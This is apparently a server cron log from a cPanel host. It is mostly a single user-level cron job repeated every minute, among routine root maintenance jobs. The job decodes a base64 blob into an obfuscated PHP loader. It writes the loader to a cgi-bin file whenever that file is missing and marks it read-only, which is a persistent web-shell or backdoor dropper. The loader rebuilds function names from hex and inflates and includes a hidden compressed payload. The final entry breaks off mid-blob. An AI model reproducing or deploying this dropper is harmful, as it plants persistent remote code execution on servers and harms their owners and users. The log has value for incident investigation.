Apr  7 19:44:01 server CROND[16085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:45:01 server CROND[16241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:45:01 server CROND[16242]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 19:45:01 server CROND[16243]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 19:46:01 server CROND[16346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:47:01 server CROND[16444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:48:01 server CROND[16492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:49:01 server CROND[16568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:50:01 server CROND[16744]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 19:50:01 server CROND[16746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:50:01 server CROND[16745]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 19:50:01 server CROND[16747]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 19:50:01 server CROND[16748]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 19:51:01 server CROND[16866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:52:01 server CROND[16933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:53:01 server CROND[16985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:54:01 server CROND[17038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:55:01 server CROND[17195]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 19:55:01 server CROND[17198]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 19:55:01 server CROND[17199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:56:01 server CROND[17305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:57:01 server CROND[17413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQK